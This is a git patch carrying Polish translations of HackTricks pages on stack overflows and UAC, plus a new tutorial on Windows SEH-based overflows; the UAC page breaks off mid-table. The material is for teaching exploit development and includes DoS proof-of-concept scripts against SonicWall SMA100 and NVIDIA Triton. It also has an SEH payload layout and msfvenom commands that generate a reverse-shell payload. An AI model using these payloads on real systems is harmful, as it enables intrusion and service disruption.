From ce4f30dc2b6ba406eeb02ce8a2f5d87d59a3c8d1 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 20:22:24 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/README.md', 'src/win --- src/SUMMARY.md | 1 + .../stack-overflow/README.md | 97 +++++---- .../stack-overflow/windows-seh-overflow.md | 150 +++++++++++++ .../uac-user-account-control.md | 197 +++++++++++------- 4 files changed, 325 insertions(+), 120 deletions(-) create mode 100644 src/binary-exploitation/stack-overflow/windows-seh-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e181a795f..ed10ffe41 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -779,6 +779,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md) + - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 517493c56..24eda70ce 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## Co to jest Stack Overflow -A **stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu. +A **stack overflow** to luka, która występuje, gdy program zapisuje na stos więcej danych niż zostało mu na to przydzielone. Ten nadmiar danych **nadpisze sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia prawidłowych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania ograniczeń (bounds checking) dla danych wejściowych. -Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**. +Głównym problemem tego nadpisania jest to, że **saved instruction pointer (EIP/RIP)** oraz **saved base pointer (EBP/RBP)**, używane do powrotu do poprzedniej funkcji, są **przechowywane na stosie**. W związku z tym atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**. -Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu. +Luka zwykle powstaje, ponieważ funkcja **kopiuje na stos więcej bajtów niż zostało dla niej przydzielone**, umożliwiając tym samym nadpisanie innych części stosu. -Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona. +Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Również funkcje takie jak **`fgets`**, **`read`** i **`memcpy`**, które przyjmują **argument długości**, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż przydzielona. Na przykład, następujące funkcje mogą być podatne: ```c @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Znajdowanie przesunięć przepełnienia stosu +### Finding Stack Overflows offsets -Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**. +Najczęstszym sposobem wykrywania Stack Overflows jest podanie bardzo dużego wejścia składającego się z `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **próbowano uzyskać dostęp do adresu `0x41414141`**. -Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Bruijn.** Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako kontiguująca podsekwencja. +Ponadto, gdy już stwierdzisz istnienie podatności Stack Overflow, będziesz musiał znaleźć offset umożliwiający **overwrite the return address** — do tego zwykle używa się **De Bruijn sequence.** Dla zadanego alfabetu o rozmiarze _k_ i podciągów długości _n_ jest to **cykliczna sekwencja, w której każdy możliwy podciąg długości _n_ pojawia się dokładnie raz** jako spójny podciąg. -W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie. +Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z takich sekwencji, a następnie znaleźć offset bajtów, które ją nadpisały. -Można użyć **pwntools** do tego: +Do tego można użyć **pwntools** dla tego: ```python from pwn import * @@ -48,48 +48,62 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Wykorzystywanie przepełnień stosu +## Wykorzystywanie Stack Overflows -Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\ -Najczęstszym sposobem nadużycia tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku. +Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie **nadpisać** wartości zmiennych lokalnych na stacku aż do zapisanych **EBP/RBP and EIP/RIP (or even more)**.\ +Najczęstszym sposobem nadużycia tego typu podatności jest **zmodyfikowanie adresu powrotu**, tak aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku. -Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF). +Jednak w innych scenariuszach samo **nadpisanie wartości niektórych zmiennych na stacku** może wystarczyć do eksploatacji (np. w prostych zadaniach CTF). ### Ret2win -W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączone), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana: +W tego typu zadaniach CTF istnieje **function** **inside** the binary, która **never called** i którą **musisz wywołać, aby wygrać**. W tych zadaniach wystarczy znaleźć **offset to overwrite the return address** oraz **find the address of the function** do wywołania (zazwyczaj [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), tak aby po zwróceniu się podatnej funkcji została wywołana ukryta funkcja: + {{#ref}} ret2win/ {{#endref}} -### Shellcode na stosie +### Stack Shellcode + +W tym scenariuszu atakujący może umieścić shellcode na stacku i użyć kontrolowanego EIP/RIP, aby skoczyć do shellcode'a i wykonać dowolny kod: -W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod: {{#ref}} stack-shellcode/ {{#endref}} -### Techniki ROP i Ret2... +### Windows SEH-based exploitation (nSEH/SEH) + +Na 32-bitowym Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego adresu powrotu. Eksploatacja zazwyczaj zastępuje wskaźnik SEH gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby wrócić do dużego bufora, w którym znajduje się shellcode. Powszechny wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby przeskoczyć setki bajtów z powrotem do początku payloadu. + + +{{#ref}} +windows-seh-overflow.md +{{#endref}} + +### ROP & Ret2... techniques + +Ta technika jest podstawowym mechanizmem pozwalającym obejść główną ochronę przeciwko poprzedniej technice: **No executable stack (NX)**. Pozwala też wykonać kilka innych technik (ret2lib, ret2syscall...), które finalnie uruchomią dowolne polecenia wykorzystując istniejące instrukcje w binarce: -Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Przepełnienia sterty +## Heap Overflows + +Overflow nie zawsze będzie w stacku, może być również w **heap** na przykład: -Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wystąpić w **stercie**, na przykład: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Typy ochrony +## Rodzaje zabezpieczeń + +Istnieje kilka zabezpieczeń próbujących zapobiegać eksploatacji podatności — sprawdź je w: -Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w: {{#ref}} ../common-binary-protections-and-bypasses/ @@ -97,8 +111,7 @@ Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, s ### Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100) -Dobrą demonstracją, dlaczego **`sscanf` nigdy nie powinno być ufane przy analizowaniu nieufnych danych wejściowych**, pojawiła się w 2025 roku w urządzeniu SSL-VPN SonicWall SMA100. -Podatna rutyna wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i punkt końcowy z dowolnego URI, które zaczyna się od `/__api__/`: +Dobre pokazanie, dlaczego **`sscanf` should never be trusted for parsing untrusted input**, pojawiło się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN. Podatna procedura wewnątrz `/usr/src/EasyAccess/bin/httpd` próbuje wyodrębnić wersję i endpoint z dowolnego URI, które zaczyna się od `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; @@ -107,23 +120,24 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. Pierwsza konwersja (`%2s`) bezpiecznie zapisuje **dwa** bajty do `version` (np. `"v1"`). 2. Druga konwersja (`%s`) **nie ma specyfikatora długości**, dlatego `sscanf` będzie kopiować **aż do pierwszego bajtu NUL**. -3. Ponieważ `endpoint` znajduje się na **stosie** i ma **0x800 bajtów długości**, podanie ścieżki dłuższej niż 0x800 bajtów psuje wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **zapisany adres powrotu**. +3. Ponieważ `endpoint` znajduje się na **stack** i ma długość **0x800 bajtów**, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym **stack canary** i **saved return address**. -Jedna linia dowodu koncepcji wystarczy, aby wywołać awarię **przed uwierzytelnieniem**: +Wystarczy jedno-liniowy proof-of-concept, aby wywołać crash **before authentication**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Nawet jeśli kanarki stosu przerywają proces, atakujący nadal zyskuje prymityw **Denial-of-Service** (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta: +Mimo że stack canaries przerywają proces, atakujący i tak uzyskuje prymityw **Denial-of-Service** (a przy dodatkowych information leaks, możliwe jest code-execution). Wniosek jest prosty: -* Zawsze podawaj **maksymalną szerokość pola** (np. `%511s`). +* Zawsze określaj **maksymalną szerokość pola** (np. `%511s`). * Preferuj bezpieczniejsze alternatywy, takie jak `snprintf`/`strncpy_s`. -### Przykład z rzeczywistego świata: CVE-2025-23310 i CVE-2025-23311 (NVIDIA Triton Inference Server) +### Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -Serwer wnioskowania NVIDIA Triton (≤ v25.06) zawierał wiele **przepełnień stosu** dostępnych przez jego API HTTP. Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`: +NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele **stack-based overflows** dostępnych przez jego HTTP API. +Wzorzec podatności pojawiał się wielokrotnie w `http_server.cc` i `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -133,11 +147,11 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą aktualne ciało żądania HTTP. -2. Każdy segment powoduje, że **16-bajtowy** `evbuffer_iovec` jest alokowany na **stosie** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**. -3. Wykorzystując **HTTP _chunked transfer-encoding_**, klient może wymusić podział żądania na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie bez ograniczeń, aż stos zostanie wyczerpany. +1. `evbuffer_peek` (libevent) zwraca **liczbę wewnętrznych segmentów bufora**, które tworzą bieżące ciało żądania HTTP. +2. Każdy segment powoduje alokację **16-byte** `evbuffer_iovec` na **stack** za pomocą `alloca()` – **bez żadnego górnego ograniczenia**. +3. Nadużywając **HTTP _chunked transfer-encoding_**, klient może zmusić żądanie do podziału na **setki tysięcy 6-bajtowych kawałków** (`"1\r\nA\r\n"`). To powoduje, że `n` rośnie nieograniczenie aż do wyczerpania stack. -#### Proof-of-Concept (DoS) +#### Dowód koncepcji (DoS) ```python #!/usr/bin/env python3 import socket, sys @@ -161,10 +175,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -A ~3 MB request wystarczy, aby nadpisać zapisany adres powrotu i **crash** daemona w domyślnej wersji. +Żądanie o wielkości ~3 MB wystarczy, aby nadpisać saved return address i **crash** daemona na default build. -#### Patch & Mitigation -Wersja 25.07 zastępuje niebezpieczne przydzielanie stosu **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`: +#### Poprawka i środki zaradcze +Wydanie 25.07 zastępuje unsafe stack allocation za pomocą **heap-backed `std::vector`** i elegancko obsługuje `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -174,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); } struct evbuffer_iovec *v = v_vec.data(); ``` -Lekcje wyniesione: +Wnioski: * Nigdy nie wywołuj `alloca()` z rozmiarami kontrolowanymi przez atakującego. -* Żądania podzielone na kawałki mogą drastycznie zmienić kształt buforów po stronie serwera. -* Waliduj / ogranicz wszelkie wartości pochodzące z wejścia klienta *przed* ich użyciem w alokacjach pamięci. +* Żądania chunked mogą drastycznie zmienić kształt buforów po stronie serwera. +* Zwaliduj / ogranicz każdą wartość pochodzącą od klienta *zanim* użyjesz jej do alokacji pamięci. -## Odniesienia +## Źródła * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) +* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md new file mode 100644 index 000000000..5fd08a260 --- /dev/null +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -0,0 +1,150 @@ +# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) + +{{#include ../../banners/hacktricks-training.md}} + +SEH-based exploitation to klasyczna technika x86 na Windows, która wykorzystuje łańcuch Structured Exception Handler przechowywany na stosie. Gdy overflow bufora na stosie nadpisze dwa 4-bajtowe pola + +- nSEH: pointer to the next SEH record, and +- SEH: pointer to the exception handler function + +atakujący może przejąć kontrolę nad wykonaniem poprzez: + +1) Ustawienie SEH na adres POP POP RET gadget w module bez ochrony, tak aby po zgłoszeniu wyjątku gadget zwrócił sterowanie do bajtów kontrolowanych przez atakującego, oraz +2) Użycie nSEH do przekierowania wykonania (zazwyczaj krótki skok) z powrotem do dużego przepełniającego bufora, gdzie znajduje się shellcode. + +Ta technika dotyczy specyficznie procesów 32-bitowych (x86). Na nowoczesnych systemach preferuj moduł bez SafeSEH i ASLR dla gadgetu. Bad characters często obejmują 0x00, 0x0a, 0x0d (NUL/CR/LF) z powodu C-strings i parsowania HTTP. + +--- + +## Finding exact offsets (nSEH / SEH) + +- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). +- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. + +Example with peda/GEF/pwntools on a 1000-byte POST body: +```bash +# generate pattern (any tool is fine) +/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 +# or +python3 -c "from pwn import *; print(cyclic(1000).decode())" + +# after crash, note the two 32-bit values from SEH view and compute offsets +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH +# ➜ offsets example: nSEH=660, SEH=664 +``` +Zweryfikuj, umieszczając markery w tych pozycjach (np., nSEH=b"BB", SEH=b"CC"). Zachowaj całkowitą długość, aby awaria była powtarzalna. + +--- + +## Wybór POP POP RET (SEH gadget) + +Potrzebujesz sekwencji POP POP RET, aby rozwinąć ramkę SEH i wrócić do swoich bajtów nSEH. Znajdź ją w module bez SafeSEH i najlepiej bez ASLR: + +- Mona (Immunity/WinDbg): `!mona modules` następnie `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` aby wypisać POP POP RET gadgets i status SafeSEH. + +Wybierz adres, który nie zawiera badchars po zapisaniu w little-endian (np., `p32(0x004094D8)`). Preferuj gadgets wewnątrz podatnego pliku binarnego, jeśli zabezpieczenia to umożliwiają. + +--- + +## Technika jump-back (short + near jmp) + +nSEH ma tylko 4 bajty, co mieści co najwyżej 2-bajtowy short jump (`EB xx`) plus padding. Jeśli musisz przeskoczyć wstecz setki bajtów, aby dotrzeć do początku bufora, użyj 5-bajtowego near jump umieszczonego bezpośrednio przed nSEH i połącz go short jumpem z nSEH. + +Za pomocą nasmshell: +```text +nasm> jmp -660 ; too far for short; near jmp is 5 bytes +E967FDFFFF +nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) +EBF6 +nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) +E96FFDFFFF +``` +Pomysł układu dla payloadu o rozmiarze 1000 bajtów z nSEH na offset 660: +```python +buffer_length = 1000 +payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start +payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH +payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding +payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad +payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) +payload += b"D" * (buffer_length - len(payload)) +``` +Execution flow: +- Występuje wyjątek, dispatcher używa nadpisanego SEH. +- POP POP RET powoduje przejście do naszego nSEH. +- nSEH wykonuje `jmp short -8` do 5-bajtowego near jump. +- Near jump ląduje na początku naszego bufora, gdzie znajduje się NOP sled + shellcode. + +--- + +## Bad characters + +Utwórz pełny badchar string i porównaj pamięć stosu po awarii, usuwając bajty, które są zniekształcane przez parser docelowy. Dla przepełnień opartych na HTTP, `\x00\x0a\x0d` są prawie zawsze wykluczone. +```python +badchars = bytes([x for x in range(1,256)]) +payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case +``` +--- + +## Shellcode generation (x86) + +Użyj msfvenom z własnymi badchars. Mały NOP sled pomaga tolerować odchylenia miejsca trafienia. +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ +-b "\x00\x0a\x0d" -f python -v sc +``` +Jeśli generujesz na bieżąco, format hex jest wygodny do osadzania i unhex w Pythonie: +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ +-b "\x00\x0a\x0d" -f hex +``` +--- + +## Dostarczanie przez HTTP (dokładne CRLF + Content-Length) + +Gdy wektorem podatności jest ciało żądania HTTP, skonstruuj surowe żądanie z dokładnymi CRLFs i Content-Length, aby serwer odczytał całe przepełniające się ciało żądania. +```python +# pip install pwntools +from pwn import remote +host, port = "", 8080 +body = b"A" * 1000 # replace with the SEH-aware buffer above +req = f"""POST / HTTP/1.1 +Host: {host}:{port} +User-Agent: curl/8.5.0 +Accept: */* +Content-Length: {len(body)} +Connection: close + +""".replace('\n','\r\n').encode() + body +p = remote(host, port) +p.send(req) +print(p.recvall(timeout=0.5)) +p.close() +``` +--- + +## Narzędzia + +- x32dbg/x64dbg do obserwacji łańcucha SEH i analizy awarii. +- ERC.Xdbg (wtyczka x64dbg) do enumeracji SEH gadgets: `ERC --SEH`. +- Mona jako alternatywa: `!mona modules`, `!mona seh`. +- nasmshell do składania short/near jumps i kopiowania raw opcodes. +- pwntools do tworzenia precyzyjnych network payloads. + +--- + +## Uwagi i zastrzeżenia + +- Dotyczy tylko procesów x86. x64 używa innego schematu SEH i eksploatacja oparta na SEH na ogół nie jest wykonalna. +- Preferuj gadgets w modułach bez SafeSEH i ASLR; w przeciwnym razie znajdź niechroniony moduł załadowany w procesie. +- Service watchdogs, które automatycznie restartują po awarii, mogą ułatwić iteracyjne tworzenie exploitów. + +## Referencje +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) +- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) +- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index 1af773eb8..da104d9aa 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,49 +1,50 @@ -# UAC - Kontrola Konta Użytkownika +# UAC - Kontrola konta użytkownika {{#include ../../banners/hacktricks-training.md}} ## UAC -[Kontrola Konta Użytkownika (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlanie komunikatu o zgodzie na podwyższone działania**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **mogą potencjalnie zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **działają w kontekście bezpieczeństwa konta nie-administratora**, chyba że administrator wyraźnie autoryzuje te aplikacje/zadania do uzyskania dostępu na poziomie administratora w celu ich uruchomienia. Jest to funkcja ułatwiająca, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia wyświetlanie **okna potwierdzenia przy akcjach wymagających uprawnień podwyższonych**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **potencjalnie mogą zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **uruchamiają się w kontekście konta bez uprawnień administratora**, chyba że administrator eksplicitnie przyzna tym aplikacjom/zadaniom dostęp na poziomie administratora. To funkcja ułatwiająca pracę, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa. + +For more info about integrity levels: -Aby uzyskać więcej informacji na temat poziomów integralności: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Gdy UAC jest aktywne, użytkownik z uprawnieniami administratora otrzymuje 2 tokeny: standardowy klucz użytkownika, aby wykonywać regularne działania na poziomie zwykłym, oraz jeden z uprawnieniami administratora. +Gdy UAC jest aktywne, konto administratora otrzymuje 2 tokeny: jeden standardowy do wykonywania zwykłych działań na poziomie zwykłego użytkownika oraz drugi z uprawnieniami administratora. -Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) szczegółowo omawia, jak działa UAC, w tym proces logowania, doświadczenie użytkownika i architekturę UAC. Administratorzy mogą używać polityk bezpieczeństwa do konfigurowania, jak UAC działa w ich organizacji na poziomie lokalnym (używając secpol.msc) lub konfigurować i wdrażać za pomocą Obiektów Polityki Grupowej (GPO) w środowisku domeny Active Directory. Różne ustawienia są szczegółowo omówione [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Polityki Grupowej, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły: +Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) opisuje działanie UAC bardzo szczegółowo i obejmuje proces logowania, doświadczenie użytkownika oraz architekturę UAC. Administratorzy mogą używać zasad bezpieczeństwa do skonfigurowania sposobu działania UAC lokalnie (przy użyciu secpol.msc) lub konfigurować i dystrybuować ustawienia przez Group Policy Objects (GPO) w środowisku Active Directory. Różne ustawienia są omówione szczegółowo [tutaj](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Istnieje 10 ustawień Group Policy, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły: -| Ustawienie Polityki Grupowej | Klucz Rejestru | Ustawienie Domyślne | +| Group Policy Setting | Registry Key | Default Setting | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [Kontrola Konta Użytkownika: Tryb Zatwierdzania Administratora dla wbudowanego konta Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Wyłączone | -| [Kontrola Konta Użytkownika: Zezwól aplikacjom UIAccess na wyświetlanie komunikatu o podwyższeniu bez użycia bezpiecznego pulpitu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Wyłączone | -| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prośba o zgodę dla nie-Windowsowych binariów | -| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prośba o dane uwierzytelniające na bezpiecznym pulpicie | -| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i prośba o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Włączone (domyślne dla domów) Wyłączone (domyślne dla przedsiębiorstw) | -| [Kontrola Konta Użytkownika: Tylko podwyższaj wykonywalne, które są podpisane i zweryfikowane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Wyłączone | -| [Kontrola Konta Użytkownika: Tylko podwyższaj aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | 